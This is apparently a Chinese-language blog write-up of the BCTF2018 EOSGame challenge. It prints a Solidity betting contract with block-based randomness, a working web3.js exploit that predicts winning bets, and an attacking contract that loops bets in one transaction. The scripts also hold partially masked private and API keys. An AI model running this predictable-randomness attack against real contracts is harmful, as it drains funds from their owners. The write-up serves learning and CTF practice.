BCTF2018 EOSGame Study

前言

  在写这个study的时候我的exp还在跑,flag还未拿到,但不管结果如何,我都将记录下在这过程中学习到的东西。

远程攻击(可能无效)

  首先来看看合约内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
pragma solidity ^0.4.24;

/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {

/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}

uint256 c = a * b;
require(c / a == b);

return c;
}

/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold

return c;
}

/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;

return c;
}

/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);

return c;
}

/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}

contract EOSToken{
using SafeMath for uint256;
string TokenName = "EOS";

uint256 totalSupply = 100**18;
address owner;
mapping(address => uint256) balances;

modifier onlyOwner() {
require(msg.sender == owner);
_;
}

constructor() public{
owner = msg.sender;
balances[owner] = totalSupply;
}

function mint(address _to,uint256 _amount) public onlyOwner {
require(_amount < totalSupply);
totalSupply = totalSupply.sub(_amount);
balances[_to] = balances[_to].add(_amount);
}

function transfer(address _from, address _to, uint256 _amount) public onlyOwner {
require(_amount < balances[_from]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
}

function eosOf(address _who) public constant returns(uint256){
return balances[_who];
}
}


contract EOSGame{

using SafeMath for uint256;
mapping(address => uint256) public bet_count;
uint256 FUND = 100;
uint256 MOD_NUM = 20;
uint256 POWER = 100;
uint256 SMALL_CHIP = 1;
uint256 BIG_CHIP = 20;
EOSToken eos;

event FLAG(string b64email, string slogan);

constructor() public{
eos=new EOSToken();
}

function initFund() public{
if(bet_count[tx.origin] == 0){
bet_count[tx.origin] = 1;
eos.mint(tx.origin, FUND); // 初始化账户 100
}
}

function bet(uint256 chip) internal {
bet_count[tx.origin] = bet_count[tx.origin].add(1);
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
uint256 shark = seed_hash % MOD_NUM;

uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[tx.origin])));
uint256 lucky = lucky_hash % MOD_NUM;

if (shark == lucky){
eos.transfer(address(this), tx.origin, chip.mul(POWER));
}
}

function smallBlind() public {
eos.transfer(tx.origin, address(this), SMALL_CHIP);
bet(SMALL_CHIP);
}

function bigBlind() public {
eos.transfer(tx.origin, address(this), BIG_CHIP);
bet(BIG_CHIP);
}

function eosBlanceOf() public view returns(uint256) {
return eos.eosOf(tx.origin);
}

function CaptureTheFlag(string b64email) public{
require (eos.eosOf(tx.origin) > 18888);
emit FLAG(b64email, "Congratulations to capture the flag!");
}
}

  可以看到这是一个竞猜的游戏,我们的目的是下面的条件满足:

1
2
3
if (shark == lucky){
eos.transfer(address(this), tx.origin, chip.mul(POWER));
}

  让合约往我们账上转钱,直到eos.eosOf(tx.origin) > 18888,从而拿到激发FLAG

  合约使用的block.numberblock.timestamp为当前链上最新的块的编号时间戳,这两个信息都是公开的,我们可以获取然后使用程序中的判断方法来决定我们什么时候下注

  由于之前没有认真学习web3js的库,难点也在如何让程序更合约交互得更加的流畅,写exp的过程中也遇到了很多问题。

  首先看abi.encodePacked(),这个函数的作用是返回编码过的bytes,如:

1
2
3
4
5
function getabi() public view returns(bytes) {
uint number = 12345679;
return abi.encodePacked(number);
}
// return: 0x0000000000000000000000000000000000000000000000000000000000bc614f

  经过一番查找,找到了这个函数在web3js中的相应实现:web3.eth.abi.encodeParameter('uint256', number)

  另一个比较严重的问题是溢出,合约中的类型是uint256,我们用nodejs的大数处理的bignumber.js库,但是要注意当运算结果超过2**256时,需要减掉2**256,这样才符合uint256对溢出的处理。如下:

1
2
3
4
5
6
7
8
9
10
11
let uint256 = new BigNumber('115792089237316195423570985008687907853269984665640564039457584007913129639936');
let number1 = new BigNumber(web3.eth.abi.encodeParameter('uint256', encry1));
let number2 = new BigNumber(web3.eth.abi.encodeParameter('uint256', encry2));

let result = number1.plus(number2); // 这里可能溢出
console.log("result: ", result.toFormat().replace(/,/g, ''));

if (result.gt(uint256)) {
result = result.minus(uint256).toFormat().replace(/,/g, '');
console.log("overflow update result: ", result);
}

  但实现了solidityweb3js中的运算迁移后,我们要实现使用web3js对合约进行交互和发送交易。两个月前我在一篇博客中简单说过调用合约的例子,当我拿过来用时发现以前的接口已经不能用了。。。同时会报一些错误,这也是耗费我时间的地方。

  遇到的一个问题就是交易已经打包好(生成了txhash),但发送出去后在我的账号上却无法查看到。如果一直等着会报下面这个错误:

1
Error: Transaction was not mined within750 seconds, please make sure your transaction was properly sent. Be aware that it might still be mined!

  旧的发送交易使用的是如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function sendSigned_Old(txData) {
const transaction = new Tx(txData)
transaction.sign(privKey)
const serializedTx = transaction.serialize().toString('hex');
let transact = web3.eth.sendSignedTransaction('0x' + serializedTx);
transact.on('confirmation', (confirmationNumber, receipt) => {
console.log('confirmation', confirmationNumber);
});

transact.on('transactionHash', hash => {
console.log('hash', hash);
});

transact.on('receipt', receipt => {
console.log('reciept', receipt);
});

transact.on('error', console.error);
}

  网上找了很多,这里提供下我的解决方案:

  • 更换新的sign签名方法
  • nonce注意要跟前面的不一样,新版本中可以不用nonce这个标志,web3js会自动帮你处理

  但有个问题很难避免,就是当你检测到shark跟你的lucky相等时立刻下注,但这个注的执行是这个块被矿工挖出来,并且状态是Success。但问题就出在从下注发送到下注被确认的这段时间内实际上是非常有可能产生新的块,从而导致真正去调用合约的时候shark值跟你计算的不一样,从而失败,其根本就是我们无法控制区块的产生。我这里的解决方案是提高gas,让矿工有更高的收益,从而优先打包我们的交易。但问题还是无法百分百解决。

  这里也当记录下web3js的学习记录,完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
let Web3 = require("web3");
let Tx = require('ethereumjs-tx');
const BigNumber = require('bignumber.js');

let privKey = new Buffer.from('1dc72fa....', 'hex');
let fromAddress = "0x901B1....";
// 合约地址
let contractAddress = "0x804d8B0f43C57b5Ba940c1d1132d03f1da83631F";
// 创建web3对象
let web3 = new Web3();
// 连接到 ropsten 测试节点

let INFURA_API_KEY = "9762c...."
let ROPSTEN_URL = "https://ropsten.infura.io/" + INFURA_API_KEY
local = 'http://192.168.142.145:8545'
web3.setProvider(new Web3.providers.HttpProvider(ROPSTEN_URL))

let abi = [{
"constant": true,
"inputs": [],
"name": "eosBlanceOf",
"outputs": [{
"name": "",
"type": "uint256"
}],
"payable": false,
"stateMutability": "view",
"type": "function"
}, {
"constant": false,
"inputs": [],
"name": "bigBlind",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
}, {
"constant": false,
"inputs": [{
"name": "b64email",
"type": "string"
}],
"name": "CaptureTheFlag",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
}, {
"constant": false,
"inputs": [],
"name": "initFund",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
}, {
"constant": false,
"inputs": [],
"name": "smallBlind",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
}, {
"constant": true,
"inputs": [{
"name": "",
"type": "address"
}],
"name": "bet_count",
"outputs": [{
"name": "",
"type": "uint256"
}],
"payable": false,
"stateMutability": "view",
"type": "function"
}, {
"inputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "constructor"
}, {
"anonymous": false,
"inputs": [{
"indexed": false,
"name": "b64email",
"type": "string"
}, {
"indexed": false,
"name": "slogan",
"type": "string"
}],
"name": "FLAG",
"type": "event"
}]

function sendSigned_Old(txData) {
// give up
}

function sendSigned(txData) {
web3.eth.accounts.signTransaction(txData, '0x1dc72fa8....')
.then(RLPencodedTx => {
let transact = web3.eth.sendSignedTransaction(RLPencodedTx['rawTransaction']);
transact.on('confirmation', (confirmationNumber, receipt) => {
console.log('confirmation', confirmationNumber);
});

transact.on('transactionHash', hash => {
console.log('hash', hash);
});

transact.on('receipt', receipt => {
console.log('reciept', receipt);
});

transact.on('error', console.error);

setTimeout(nonce => {
process.exit()
}, 1000);
});
}

let txData = {
chainId: 3,
gas: web3.utils.toHex(2500000),
gasLimit: web3.utils.toHex(2500000),
gasPrice: web3.utils.toHex(40*1e10), // 10 Gwei
to: contractAddress,
from: fromAddress,
value: "0x0", //web3.utils.toHex(web3.utils.toWei(0, 'wei')),
}

let EOSGameContract = new web3.eth.Contract(abi, contractAddress);
let MOD_NUM = 20;
let initfund = EOSGameContract.methods.initFund().encodeABI();
let smallblind = EOSGameContract.methods.smallBlind().encodeABI();
let bigblind = EOSGameContract.methods.bigBlind().encodeABI();
let ctf = EOSGameContract.methods.CaptureTheFlag('amF5ODBAcHJvdG9ubWFpbC5jb20=').encodeABI();
// console.log("initFund: " + initfund);
// console.log("smallBlind: " + smallblind);
// console.log("bigBlind: " + bigblind);
// console.log("CaptureTheFlag: " + ctf);

/*
* @ abi.encodePacked(number) ---> web3.eth.abi.encodeParameter('uint256', number)
*/
function getshark() {
return new Promise((resolve, reject) => {
web3.eth.getBlock('latest').then(results => {
console.log('results.number: ' + results.number);
console.log('results.timestamp: ' + results.timestamp);
let number = results.number;
let timestamp = results.timestamp;
let temp = web3.eth.abi.encodeParameter('uint256', number);
let temp2 = web3.eth.abi.encodeParameter('uint256', timestamp);

let encry1 = web3.utils.keccak256(temp);
let encry2 = web3.utils.keccak256(temp2);
let uint256 = new BigNumber('115792089237316195423570985008687907853269984665640564039457584007913129639936');
let number1 = new BigNumber(web3.eth.abi.encodeParameter('uint256', encry1));
let number2 = new BigNumber(web3.eth.abi.encodeParameter('uint256', encry2));
// console.log("number1: ", number1.toFormat().replace(/,/g, ''));
// console.log("number2 ", number2.toFormat().replace(/,/g, ''));

let result = number1.plus(number2);
console.log("result: ", result.toFormat().replace(/,/g, ''));

if (result.gt(uint256)) {
result = result.minus(uint256).toFormat().replace(/,/g, '');
console.log("overflow update result: ", result);
}

let seed = web3.eth.abi.encodeParameter('uint256', result);
let seed_hash = web3.utils.keccak256(seed);
seed_hash = new BigNumber(web3.eth.abi.encodeParameter('uint256', seed_hash));
console.log("seed_hash: ", seed_hash.toFormat().replace(/,/g, ''));

let shark = seed_hash.modulo(MOD_NUM).toFormat().replace(/,/g, '');
console.log("shark: ", shark);

resolve(shark);
});
})
}

function getlucky_hash() {
return new Promise((resolve, reject) => {
EOSGameContract.methods.bet_count(fromAddress).call({
from: fromAddress
}, function (err, result) {
if (err) {
throw err;
}
console.log("bet_count result: " + result);
let getabi = web3.eth.abi.encodeParameter('uint256', result);
let encry = web3.utils.keccak256(getabi);
let lucky = new BigNumber(web3.eth.abi.encodeParameter('uint256', encry));
console.log("lucky: ", lucky.toFormat().replace(/,/g, ''));

let lhash = lucky.modulo(MOD_NUM).toFormat().replace(/,/g, '');
console.log("lucky_hash: ", lhash);
resolve(lhash);
})
})
}

EOSGameContract.methods.bet_count(fromAddress).call({
from: fromAddress
}, function (err, result) {
if (err) {
throw err;
}
console.log("bet_count result: " + result)
})

function smallBlind() {
web3.eth.getTransactionCount(fromAddress).then(function(lastCountOfTransaction){
let temp = txData;
temp['data'] = smallblind;
temp['nonce'] = web3.utils.toHex(lastCountOfTransaction);
console.log(temp);
sendSigned(temp);
})

}

function bigBlind() {
let temp = txData;
temp['data'] = bigblind;
console.log(temp);
sendSigned(temp);
}

let listener = EOSGameContract.events.FLAG(function (error, event) {
console.log("recv event data: ")
console.log(event);
});
listener.on('data', function(event){
console.log("recv event data: ")
console.log(event);
})
.on('error', console.error);

function exploit() {
getshark().then(res => {
getlucky_hash().then(ress => {
EOSGameContract.methods.eosBlanceOf().call({
from: fromAddress
}, function (err, result) {
if (err) {
throw err;
}
console.log("eosBlanceOf result: " + result)
})
if (res == ress) {
console.log("\n===================this is time!!!===================\n");
smallBlind();
} else {
console.log("\n===================it is not time!!!===================\n");
}
})
})
}
// smallBlind();
setInterval(nonce => {
console.log("going....");
exploit();
}, 2500);

// setInterval(nonce => {
// console.log("going....");
// smallBlind();
// }, 3000);

// setInterval(nonce => {
// console.log("going....");
// getshark().then(res => {
// console.log(res);
// })
// }, 3000);

攻击合约攻击

  当然另一种攻击方式是自己在ropsten上部署攻击合约,以合约调用合约的方式进行攻击,那样就免去了使用蹩脚的web3js进行相关的运算,不用担心计算结果、类型。另一个就是在合约中调用其他合约是立即生效的,而不能等交易被挖出确认。你只需要在A –> B时支付你调用A的账单,在A调用B时是类似于我们的函数调用,不再需要发起交易。

  而且可以看到EOSGame里使用了tx.origin作为账号,而关于tx.originmsg.sender的区别是sender是合约的直接上级,可以是用户,也可以是另一个合约,而origin只能是用户。如:

1
user ---> contract A ---> contract B ---> contract C

  对于任一个合约的origin都是user,但contract B的sender是contract A。

  因为我们的攻击合约函数需要改变合约的内容,所以我们不要在攻击函数中加view

1
在Solidity中view函数修饰词的作用是告诉编译器,函数不改变只读取状态变量。

  详细的代码在下面,如果是账号第一次赌就需要toinit一下,在攻击代码中同时使用了bigBlindsmallBlind,在不正确的时候下小注,正确时下大注,以增加自己的几率,毕竟小赌一次可以改变自己的lucky_hash。但这里的for循环被我调到了100,因为测试发现上1000+所需要的gas很大,容易Out of gas。(当然也可以碰运气。。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
pragma solidity ^0.4.24;

contract EOSGame {
mapping(address => uint256) public bet_count;
function smallBlind();
function bigBlind();
function CaptureTheFlag(string b64email);
function eosBlanceOf() public view returns(uint256);
function initFund();

}

contract AttackGame {
uint256 MOD_NUM = 20;
address public gameAddr = 0x804d8B0f43C57b5Ba940c1d1132d03f1da83631F;
EOSGame mime = EOSGame(gameAddr);
function getmyblance() public view returns (uint256) {
return mime.eosBlanceOf();
}

function toinit() public {
mime.initFund();
}

function getbet_count() public view returns (uint256) {
return mime.bet_count(tx.origin);
}

function myshark() public view returns(uint256) {
uint number = block.number;
uint timestamp = block.timestamp;

uint256 seed = uint256(keccak256(abi.encodePacked(number)))+uint256(keccak256(abi.encodePacked(timestamp)));
uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
uint256 shark = seed_hash % MOD_NUM;
return shark;
}

function mylucky() public view returns (uint256) {
uint256 lucky_hash = uint256(keccak256(abi.encodePacked(getbet_count())));
uint256 lucky = lucky_hash % MOD_NUM;
return lucky;
}

function tryonce() public returns (string) {
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
uint256 shark = seed_hash % MOD_NUM;

uint256 lucky_hash = uint256(keccak256(abi.encodePacked(getbet_count())));
uint256 lucky = lucky_hash % MOD_NUM;

if (shark == lucky){
mime.bigBlind();
}
if (getmyblance() > 1000) {
return "success!!!";
}
else {
return "fail!!!";
}
}

function dotentimes() public {
uint16 i;
for (i = 0; i < 10; i++) {
mime.smallBlind();
}
}

function myattack() public returns (string) {
uint16 i;
for (i = 0; i < 100; i++) {
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
uint256 shark = seed_hash % MOD_NUM;

uint256 lucky_hash = uint256(keccak256(abi.encodePacked(getbet_count())));
uint256 lucky = lucky_hash % MOD_NUM;

if (shark == lucky){
mime.bigBlind();
}
else {
mime.smallBlind();
}
}

}

}

  这里所有的调试都可以使用remix-ide,它提供了本地VM和部署到Ropsten链上去的方式。

  还一个选择就是将这个合约部署上ropsten后写一个js调用进行攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
let Web3 = require("web3");
let Tx = require('ethereumjs-tx');
const BigNumber = require('bignumber.js');

let fromAddress = "0x527e6be04exxxx";
// 合约地址
let contractAddress = "0xc63766717881e05b1d344fb2076ca73aacb2ab91";
// 创建web3对象
let web3 = new Web3();
// 连接到 ropsten 测试节点

let INFURA_API_KEY = "9762c5d2xxxx"
let ROPSTEN_URL = "https://ropsten.infura.io/" + INFURA_API_KEY
local = 'http://192.168.142.145:8545'
web3.setProvider(new Web3.providers.HttpProvider(ROPSTEN_URL))

let abi = [{
"constant": false,
"inputs": [],
"name": "dotentimes",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [],
"name": "myattack",
"outputs": [{
"name": "",
"type": "string"
}],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [],
"name": "toinit",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [],
"name": "tryonce",
"outputs": [{
"name": "",
"type": "string"
}],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "gameAddr",
"outputs": [{
"name": "",
"type": "address"
}],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "getbet_count",
"outputs": [{
"name": "",
"type": "uint256"
}],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "getmyblance",
"outputs": [{
"name": "",
"type": "uint256"
}],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "mylucky",
"outputs": [{
"name": "",
"type": "uint256"
}],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "myshark",
"outputs": [{
"name": "",
"type": "uint256"
}],
"payable": false,
"stateMutability": "view",
"type": "function"
}
]

let cango = true;

function sendSigned(txData) {
web3.eth.accounts.signTransaction(txData, '0x6c3xxxx')
.then(RLPencodedTx => {
let transact = web3.eth.sendSignedTransaction(RLPencodedTx['rawTransaction']);
cango = true;
transact.on('confirmation', (confirmationNumber, receipt) => {
console.log('confirmation', confirmationNumber);
if (confirmationNumber == '24') {
cango = true;
}
});

transact.on('transactionHash', hash => {
console.log('hash', hash);
});

transact.on('receipt', receipt => {
console.log('reciept', receipt);
});

transact.on('error', res => {
console.log('error...');
cango = true;
});
});
}

let txData = {
chainId: 3,
gas: web3.utils.toHex(2500000),
gasLimit: web3.utils.toHex(1554770),
gasPrice: web3.utils.toHex(2003), // 10 Gwei
to: contractAddress,
from: fromAddress,
value: "0x0", //web3.utils.toHex(web3.utils.toWei(0, 'wei')),
}

let EOSGameContract = new web3.eth.Contract(abi, contractAddress);
let myattack = EOSGameContract.methods.myattack().encodeABI();


EOSGameContract.methods.getbet_count().call(function (err, result) {
if (err) {
throw err;
}
console.log("bet_count result: " + result)
})


function toattack() {
cango = false;
let temp = txData;
temp['data'] = myattack;
console.log(temp);
sendSigned(temp);

}

setInterval(nonce => {
console.log("\n========================================")
if (cango) {
console.log("going....");
EOSGameContract.methods.getmyblance().call({
from: fromAddress
}, function (err, result) {
if (err) {
throw err;
}
console.log("eosBlanceOf result: " + result)
})
toattack();
} else {
console.log("can't going....");
}
}, 20000);

  多次几次后可以成功:



  接着再调用下:

1
2
3
4
5
6
7
8
function togetflag() {
let temp = txData;
temp['data'] = ctf;
console.log(temp);
sendSigned(temp);
}

togetflag();

  最终可以在交易块的data中拿到event的输出:






  当然在合约的events上也可以看到:



  最终的flag会发送到你的邮箱:



1
BCTF{y0u_c4n_PlAy_r34L_e0S_D0t_w1n_n0W}

参考链接

  合约调用合约
  web3js无法发送交易问题
  bignumber计算
  web3js api doc
  一个writeup

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×